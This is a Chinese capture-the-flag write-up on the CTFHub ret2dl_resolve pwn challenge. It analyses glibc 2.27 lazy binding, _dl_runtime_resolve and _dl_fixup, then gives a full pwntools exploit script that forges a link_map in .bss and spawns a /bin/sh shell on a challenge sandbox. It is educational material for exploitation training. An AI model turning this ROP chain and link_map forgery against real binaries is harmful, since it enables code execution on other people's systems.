CTFHUB-ret2dl_resolve-Pwn
2023-4-26 18:0:40 Author: 看雪学苑(查看原文) 阅读量:13 收藏

本文为看雪论坛优秀文章

看雪论坛作者ID:LeaMov

在pwndbg中查看结构体定义:

pwndbg> ptype Struct


int __cdecl main(int argc, const char **argv, const char **envp){  char buf[256]; // [rsp+0h] [rbp-100h] BYREF   read(0, buf, 0x1000uLL);  return 0;} /*Arch:     amd64-64-littleRELRO:    Partial RELROStack:    No canary foundNX:       NX enabledPIE:      No PIE (0x3ff000)RUNPATH:  b'/root/tools/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/'*/

超大的栈溢出,保护只开了NXPartial RELRO

ELF中没有后门函数,可利用字符串,可用的函数也只有read

>>>elf.plt<br>{'read': 4195312}<br>>>>elf.got<br>{'__libc_startmain': 6295536, '\_gmon_start__': 6295544, 'read': 6295576}


由于程序中提供的函数符号有限,所以无法正常泄露出libc基址,需要ret2dl-resolve泄露libc函数地址,并使用其和system函数的偏移计算得到system函数。

延迟绑定技术

为避免在运行程序时加载过多的动态链接导致卡顿,操作系统实现了延迟绑定(Lazy Binding)的技术,只有在函数首次调用时才进行绑定。

当程序首次 call [email protected],将执行以下操作,此处拿[email protected]作为示例:

.text:0000000000400506               call    _read
_read proc near.plt:00000000004003F0                jmp     cs:off_601018_read endp.plt:00000000004003F6                push    0.plt:00000000004003FB                jmp     plt_0
当程序每次call _read时,都将跳转至0x4003F0执行jmp语句,在首次调用时,cs:off_601018指向[email protected]的下一条指令,即0x4003F6以进行绑定操作,在第一次调用后,cs:off_601018将指向read的真正地址。
plt_0 proc near                        .plt:00000000004003E0             push    cs:linkMap.plt:00000000004003E6             jmp     cs:_dl_runtime_resolveplt_0 endp
在push    cs:linkMap后跳转至_dl_runtime_resolve函数,加上[email protected]中push 0,此处即调用_dl_runtime_resolve(linkMap,0)

_dl_runtime_resolve_xsavec函数分析

;↓↓↓↓↓↓↓↓↓↓保存调用参数环境↓↓↓↓↓↓↓↓↓↓0x00007ffff7c17750 <+0>:    push   rbx0x00007ffff7c17751 <+1>:    mov    rbx,rsp0x00007ffff7c17754 <+4>:    and    rsp,0xffffffffffffffc00x00007ffff7c17758 <+8>:    sub    rsp,QWORD PTR [rip+0x2100a9]        # 0x7ffff7e27808 <_rtld_global_ro+168>0x00007ffff7c1775f <+15>:    mov    QWORD PTR [rsp],rax0x00007ffff7c17763 <+19>:    mov    QWORD PTR [rsp+0x8],rcx0x00007ffff7c17768 <+24>:    mov    QWORD PTR [rsp+0x10],rdx0x00007ffff7c1776d <+29>:    mov    QWORD PTR [rsp+0x18],rsi0x00007ffff7c17772 <+34>:    mov    QWORD PTR [rsp+0x20],rdi0x00007ffff7c17777 <+39>:    mov    QWORD PTR [rsp+0x28],r80x00007ffff7c1777c <+44>:    mov    QWORD PTR [rsp+0x30],r90x00007ffff7c17781 <+49>:    mov    eax,0xee0x00007ffff7c17786 <+54>:    xor    edx,edx0x00007ffff7c17788 <+56>:    mov    QWORD PTR [rsp+0x250],rdx0x00007ffff7c17790 <+64>:    mov    QWORD PTR [rsp+0x258],rdx0x00007ffff7c17798 <+72>:    mov    QWORD PTR [rsp+0x260],rdx0x00007ffff7c177a0 <+80>:    mov    QWORD PTR [rsp+0x268],rdx0x00007ffff7c177a8 <+88>:    mov    QWORD PTR [rsp+0x270],rdx0x00007ffff7c177b0 <+96>:    mov    QWORD PTR [rsp+0x278],rdx0x00007ffff7c177b8 <+104>:    xsavec [rsp+0x40]0x00007ffff7c177bd <+109>:    mov    rsi,QWORD PTR [rbx+0x10]0x00007ffff7c177c1 <+113>:    mov    rdi,QWORD PTR [rbx+0x8];↑↑↑↑↑↑↑↑↑↑保存调用参数环境↑↑↑↑↑↑↑↑↑↑0x00007ffff7c177c5 <+117>:    call   0x7ffff7c0fdf0 <_dl_fixup>;真正的绑定查询函数0x00007ffff7c177ca <+122>:    mov    r11,rax ;将结果保存至R11;↓↓↓↓↓↓↓↓↓↓还原调用参数环境↓↓↓↓↓↓↓↓↓↓0x00007ffff7c177cd <+125>:    mov    eax,0xee0x00007ffff7c177d2 <+130>:    xor    edx,edx0x00007ffff7c177d4 <+132>:    xrstor [rsp+0x40]0x00007ffff7c177d9 <+137>:    mov    r9,QWORD PTR [rsp+0x30]0x00007ffff7c177de <+142>:    mov    r8,QWORD PTR [rsp+0x28]0x00007ffff7c177e3 <+147>:    mov    rdi,QWORD PTR [rsp+0x20]0x00007ffff7c177e8 <+152>:    mov    rsi,QWORD PTR [rsp+0x18]0x00007ffff7c177ed <+157>:    mov    rdx,QWORD PTR [rsp+0x10]0x00007ffff7c177f2 <+162>:    mov    rcx,QWORD PTR [rsp+0x8]0x00007ffff7c177f7 <+167>:    mov    rax,QWORD PTR [rsp]0x00007ffff7c177fb <+171>:    mov    rsp,rbx0x00007ffff7c177fe <+174>:    mov    rbx,QWORD PTR [rsp]0x00007ffff7c17802 <+178>:    add    rsp,0x18;↑↑↑↑↑↑↑↑↑↑还原调用参数环境↑↑↑↑↑↑↑↑↑↑0x00007ffff7c17806 <+182>:    bnd jmp r11 ;跳转至原目标函数

可以看到_dl_runtime_resolve_xsavec函数只负责:

1.保存原目标函数(read)的参数环境<br>

2.调用_dl_fixup查询并绑定read的真正地址至linkMap中指定的重定位地址<br>

3.还原原目标函数(read)的参数环境<br>

4.跳转至_dl_fixup的查询结果<br>

而真正做查询绑定操作的是_dl_fixup函数

_dl_fixup函数分析

glibc2.27 下_dl_fixup函数源码分析

_dl_fixup(struct link_map *l, ElfW(Word) reloc_arg){     //符号表symtab = linkMap->l_info[6]    const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);     //字符串表strtab = linkMap->l_info[5]    const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);     //重定位表reloc = linkMap->l_info[23] + reloc_arg    const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);     //定位符号sym = symtab[reloc->r_info] 此处使用reloc->r_info的高32位作为索引    const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];    const ElfW(Sym) *refsym = sym;     //重定位地址(rel_addr) = LinkMap->l_addr + reloc->r_offset    void *const rel_addr = (void *)(l->l_addr + reloc->r_offset);     lookup_t result;    DL_FIXUP_VALUE_TYPE value;     /* 判断重定位类型是否为7--ELF_MACHINE_JMP_SLOT */    assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);     /*此处判断sym->st_other的最后两位是否为0*/    if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)    {        const struct r_found_version *version = NULL;        if (l->l_info[VERSYMIDX(DT_VERSYM)] != NULL)        {            const ElfW(Half) *vernum =                (const void *)D_PTR(l, l_info[VERSYMIDX(DT_VERSYM)]);            ElfW(Half) ndx = vernum[ELFW(R_SYM)(reloc->r_info)] & 0x7fff;            version = &l->l_versions[ndx];            if (version->hash == 0)                version = NULL;        }        int flags = DL_LOOKUP_ADD_DEPENDENCY; //156        if (!RTLD_SINGLE_THREAD_P)//171        {            THREAD_GSCOPE_SET_FLAG();            flags |= DL_LOOKUP_GSCOPE_LOCK;        } #ifdef RTLD_ENABLE_FOREIGN_CALL        RTLD_ENABLE_FOREIGN_CALL;#endif        result = _dl_lookup_symbol_x(strtab + sym->st_name, l, &sym, l->l_scope,                                     version, ELF_RTYPE_CLASS_PLT, flags, NULL);        /* We are done with the global scope.  */        if (!RTLD_SINGLE_THREAD_P)//+226            THREAD_GSCOPE_RESET_FLAG();#ifdef RTLD_FINALIZE_FOREIGN_CALL        RTLD_FINALIZE_FOREIGN_CALL;#endif        /* Currently result contains the base load address (or link map)       of the object that defines sym.  Now add in the symbol       offset.  */        value = DL_FIXUP_MAKE_VALUE(result,sym ? (LOOKUP_VALUE_ADDRESS(result) + sym->st_value) : 0);    }    else    {        //绑定查询结果等于 linkMap->l_addr + sym->st_value        value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);        result = l;    }     value = elf_machine_plt_value(l, reloc, value);    if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))        value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));    /* Finally, fix up the plt itself.  */    if (__glibc_unlikely(GLRO(dl_bind_not)))        return value;    return elf_machine_fixup_plt(l, result, refsym, sym, reloc, rel_addr, value);}

libc-2.27-ubuntu1-amd64下__dl_fixup函数汇编分析

<+0>:    push   rbx<+1>:    mov    r10,rdi                          ;r10 = rdi = LinkMap<+4>:    mov    esi,esi<+6>:    lea    rdx,[rsi+rsi*2]                    ;rdx = rsi = 0<+10>:    sub    rsp,0x10;const char *strtab = (const void *)D_PTR(l, l_info[DT_STRTAB]);<+14>:    mov    rax,QWORD PTR [rdi+0x68]        ;rax = DT_STRTAB<+18>:    mov    rdi,QWORD PTR [rax+0x8]        ;rdi = ELF String Table ;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);<+22>:    mov    rax,QWORD PTR [r10+0xf8]        ;rax = DT_JMPREL<+29>:    mov    rax,QWORD PTR [rax+0x8]        ;rax = Elf64_Rela ;const ElfW(Sym) *const symtab = (const void *)D_PTR(l, l_info[DT_SYMTAB]);<+33>:    lea    r8,[rax+rdx*8]                ;r8 = rax = Elf64_Rela<+37>:    mov    rax,QWORD PTR [r10+0x70]        ;rax = DT_SYMTAB ;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);<+41>:    mov    rcx,QWORD PTR [r8+0x8]        ;rcx = Elf64_Rela->r_info<+45>:    mov    rbx,QWORD PTR [r8]            ;rbx = Elf64_Rela->r_offset const ElfW(Sym) *sym = &symtab[ELFW(R_SYM)(reloc->r_info)];<+48>:    mov    rax,QWORD PTR [rax+0x8]        ;rax = Elf64_Sym<+52>:    mov    rdx,rcx                        ;rdx = rcx = Elf64_Rela->r_info<+55>:    shr    rdx,0x20                        ;rdx = rdx >> 0x20 = Elf64_Rela->r_info>>0x20<+59>:    lea    rsi,[rdx+rdx*2]<+63>:    lea    rsi,[rax+rsi*8]                ;rsi = Elf64_Sym[Elf64_Rela->r_info >> 32] ;const PLTREL *const reloc = (const void *)(D_PTR(l, l_info[DT_JMPREL]) + reloc_offset);<+67>:    mov    rax,QWORD PTR [r10]            ;rax = linkMap->l_addr<+70>:    mov    QWORD PTR [rsp+0x8],rsi        ;var_sym = rsi<+75>:    add    rbx,rax ;assert(ELFW(R_TYPE)(reloc->r_info) == ELF_MACHINE_JMP_SLOT);<+78>:    cmp    ecx,0x7<+81>:    jne    0x7fa516a0ff64 <_dl_fixup+372> ;if (__builtin_expect(ELFW(ST_VISIBILITY)(sym->st_other), 0) == 0)<+87>:    test   BYTE PTR [rsi+0x5],0x3<+91>:    jne    0x7fa516a0fee8 <_dl_fixup+248> <+97>:    mov    rax,QWORD PTR [r10+0x1c8]<+104>:    xor    r8d,r8d<+107>:    test   rax,rax<+110>:    je     0x7fa516a0fe8c <_dl_fixup+156><+112>:    mov    rax,QWORD PTR [rax+0x8]<+116>:    movzx  eax,WORD PTR [rax+rdx*2]<+120>:    and    eax,0x7fff<+125>:    lea    rdx,[rax+rax*2]<+129>:    mov    rax,QWORD PTR [r10+0x2e0]<+136>:    lea    r8,[rax+rdx*8]<+140>:    mov    eax,0x0<+145>:    mov    r9d,DWORD PTR [r8+0x8]<+149>:    test   r9d,r9d<+152>:    cmove  r8,rax<+156>:    mov    edx,DWORD PTR fs:0x18<+164>:    test   edx,edx<+166>:    mov    eax,0x1<+171>:    jne    0x7fa516a0ff48 <_dl_fixup+344><+177>:    mov    esi,DWORD PTR [rsi]<+179>:    mov    rcx,QWORD PTR [r10+0x380]<+186>:    lea    rdx,[rsp+0x8]<+191>:    push   0x0<+193>:    push   rax<+194>:    mov    r9d,0x1<+200>:    add    rdi,rsi<+203>:    mov    rsi,r10<+206>:    call   0x7fa516a0b0b0 <_dl_lookup_symbol_x><+211>:    mov    r8,rax<+214>:    mov    eax,DWORD PTR fs:0x18<+222>:    test   eax,eax<+224>:    pop    rcx<+225>:    pop    rsi<+226>:    jne    0x7fa516a0ff10 <_dl_fixup+288><+228>:    mov    rsi,QWORD PTR [rsp+0x8]<+233>:    xor    eax,eax ;if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))<+235>:    test   rsi,rsi<+238>:    je     0x7fa516a0fef8 <_dl_fixup+264>;sym == NULL <+240>:    test   r8,r8<+243>:    je     0x7fa516a0fee8 <_dl_fixup+248><+245>:    mov    rax,QWORD PTR [r8] ;value = DL_FIXUP_MAKE_VALUE(l, l->l_addr + sym->st_value);<+248>:    movzx  edx,BYTE PTR [rsi+0x4]            ;edx = [rsi+0x4] = sym->st_info<+252>:    add    rax,QWORD PTR [rsi+0x8]            ;rax = rax + [rsi+0x8] = linkMap->l_addr + sym->st_value 此命令执行完后rax = 真正函数地址 ;if (sym != NULL && __builtin_expect(ELFW(ST_TYPE)(sym->st_info) == STT_GNU_IFUNC, 0))<+256>:    and    edx,0xf                           <+259>:    cmp    dl,0xa                            ;if sym->st_info == STT_GNU_IFUNC                       <+262>:    je     0x7fa516a0ff60 <_dl_fixup+368>    ;if (__glibc_unlikely(GLRO(dl_bind_not)))<+264>:    mov    edx,DWORD PTR [rip+0x2178aa]        ;edx = dl_bind_not<+270>:    test   edx,edx<+272>:    jne    0x7fa516a0ff05 <_dl_fixup+277>    ;if (__glibc_unlikely(GLRO(dl_bind_not))) ;return value;<+274>:    mov    QWORD PTR [rbx],rax                ;reloc = 绑定查询结果<+277>:    add    rsp,0x10<+281>:    pop    rbx<+282>:    ret <+283>:    nop    DWORD PTR [rax+rax*1+0x0]<+288>:    xor    eax,eax<+290>:    xchg   DWORD PTR fs:0x1c,eax<+298>:    cmp    eax,0x2<+301>:    jne    0x7fa516a0fed4 <_dl_fixup+228><+303>:    mov    rdi,QWORD PTR fs:0x10<+312>:    xor    r10d,r10d<+315>:    add    rdi,0x1c<+319>:    mov    edx,0x1<+324>:    mov    esi,0x81<+329>:    mov    eax,0xca<+334>:    syscall<+336>:    jmp    0x7fa516a0fed4 <_dl_fixup+228><+338>:    nop    WORD PTR [rax+rax*1+0x0]<+344>:    mov    DWORD PTR fs:0x1c,0x1<+356>:    mov    eax,0x5<+361>:    jmp    0x7fa516a0fea1 <_dl_fixup+177><+366>:    xchg   ax,ax ;value = elf_ifunc_invoke(DL_FIXUP_VALUE_ADDR(value));<+368>:    call   rax <+370>:    jmp    0x7fa516a0fef8 <_dl_fixup+264>    ;if (__glibc_unlikely(GLRO(dl_bind_not)))<+372>:    lea    rcx,[rip+0x132fd]        # 0x7fa516a23268 <__PRETTY_FUNCTION__.10843><+379>:    lea    rsi,[rip+0x1115a]        # 0x7fa516a210cc<+386>:    lea    rdi,[rip+0x132b7]        # 0x7fa516a23230<+393>:    mov    edx,0x50<+398>:    call   0x7fa516a1b790 <__GI___assert_fail>;重定位类型不等于7

由于本题是x64且保护Partial RELRO,所以暂不分析st_other==0的情况

根据源码和汇编的分析,可知:

  • 最终绑定函数地址 = linkMap->l_addr + sym->st_value

  • 最终绑定函数地址写入位置 = linkMap->l_addr + reloc->r_offset

解题思路

伪造LinkMap<br>;

伪造LinkMap->l_addr作为偏移以计算最终绑定函数地址<br>;

伪造LinkMap->l_info[JMPREL]及ELF64_Rela以定位sym索引及重定位地址<br>;

伪造LinkMap->l_info[SYMTAB] 来定位libc函数将st_value作为基址以计算最终绑定函数地址。

利用原理

__dl_fixup函数会根据LinkMap->l_info\[SYMTAB\]->ELF_SYM获得st_value,并将其与LinkMap->l_addr相加最后作为查询结果<br>;


而目前在ELF中的libc函数已知的已有read和__libc_start_main,其中若使用[email protected] - 0x8作为ELF_SYM的话,st_other值为0x58<br>;


在对__dl_fixup<+87>汇编分析中,程序检查了st_other的低2位是否为0,若为0则不会执行DL_FIXUP_MAKE_VALUE转而执行_dl_lookup_symbol_x,而我们最终目的是使用DL_FIXUP_MAKE_VALUE来泄露libc函数地址并计算出system函数地址,所以__libc_start_main不能作为伪造的ELF_SYM<br>;

而对于[email protected]作为伪造的ELF_SYM,其st_other的值为0x7e,符合低两位不为0的条件。

图解FakeLinkMap

以下是需要伪造的LinkMap结构分析:

左 为LinkMap成员和FakeLinkMap需伪造成员的对照<br>;

中 为FakeLinkMap需伪造成员的结构和位置<br>;

右 为FakeLinkMap伪造后的具体成员结构和值。。

由于不采用_dl_lookup_symbol_x查询函数,所以无需伪造ELF_Sym结构体,直接将其指向[email protected]即可,这样即可得到sym->st_value为read的真实地址,而最终地址为 l_addr - sym->st_value ,所以只需计算并传入这个偏移 l_addr 即可获得最终函数的地址。

注意事项

1、虽然在利用中DT_STRTAB未被使用,但仍需将其和成员String table指向一块可读写的空间<br>

2、虽然并不需要用到绑定写入的最终函数地址,但仍需计算并指定reloc->r_offset使重定位地址落在一个可读写的内存空间上<br>

3、LinkMap的DT_PTR并不直接指向ELF结构体,而是指向Dynamic结构体

最终的EXP如下:

from pwn import * prog = "./pwn" context(os='linux', arch='amd64', log_level='debug')elf = ELF(prog)libc = ELF("./libc-2.27.so")p = remote("challenge-f236dc39487bb0bb.sandbox.ctfhub.com",37969) fakeLinkMap = 0x601030 + 0x110  # write to whererbp = fakeLinkMap-8pop_rdi_ret = 0x400583pop_rsi_r15_ret = 0x400581main = 0x4004E7ret = 0x4003de l_addr = abs(libc.sym['system'] - libc.sym['read'])#l_addr为system到read函数的偏移off = 0xFFFFFFFFFFF3F410 #手动计算负数偏移的16进制形式 linkMap = p64(off)linkMap += p64(0x17)linkMap += p64(fakeLinkMap + 0x18)linkMap += p64(fakeLinkMap + 0x30 + l_addr)#因为l_addr为负,在处理时会减去|l_addr|,此处直接加上|l_addr|抵消linkMap += p64(7)linkMap += p64(0)linkMap += p64(0x6)linkMap += p64(elf.got['read']-0x8)linkMap += b'/bin/sh\x00'linkMap = linkMap.ljust(0x60,b'A')linkMap += p64(fakeLinkMap + 0x100)linkMap += p64(fakeLinkMap + 0x58)linkMap += p64(fakeLinkMap + 0x30)linkMap = linkMap.ljust(0xf8,b'A')linkMap += p64(fakeLinkMap + 0x8) payload = b'a'*0x100payload += p64(rbp) #将FakeLinkMap写入bss段中payload += p64(pop_rdi_ret)payload += p64(0)payload += p64(pop_rsi_r15_ret)payload += p64(fakeLinkMap)payload += p64(0)payload += p64(elf.plt['read'])#将FakeLinkMap写入bss段中 #将/bin/sh作为参数push进rdipayload += p64(pop_rdi_ret)payload += p64(fakeLinkMap + 0x40)#将/bin/sh作为参数push进rdi payload += p64(ret)#平衡栈payload += p64(0x4003E6)#跳转至plt0查询函数payload += p64(fakeLinkMap)#fakeLinkMap作为l参数payload += p64(0)#0为参数reloc_argspayload += p64(main)pause()p.send(payload) pause()p.send(linkMap)p.interactive()


总结

遗留问题:l_addr的计算有可能是负数,Python里-1就是-1,但是p64函数并不接受一个负数,必须让-1不是-1而是0xFFFFFFFFFFFFFFFF,所以我手动计算负数的值并将其写为十六进制以避免p64()函数报错,由于我编码能力垃圾暂时也没想明白怎么解决。

看雪ID:LeaMov

https://bbs.kanxue.com/user-home-952954.htm

*本文由看雪论坛 LeaMov 原创,转载请注明来自看雪社区

# 往期推荐

1、在 Windows下搭建LLVM 使用环境

2、深入学习smali语法

3、安卓加固脱壳分享

4、Flutter 逆向初探

5、一个简单实践理解栈空间转移

6、记一次某盾手游加固的脱壳与修复

球分享

球点赞

球在看


文章来源: http://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458503306&idx=1&sn=1d4babd97c24c396d05e13be6565296b&chksm=b18ef80086f97116ad865aceccbda36fce449f966b2ac0e5feefa56963e45b8aea103789c0ee#rd
如有侵权请联系:admin#unsafe.sh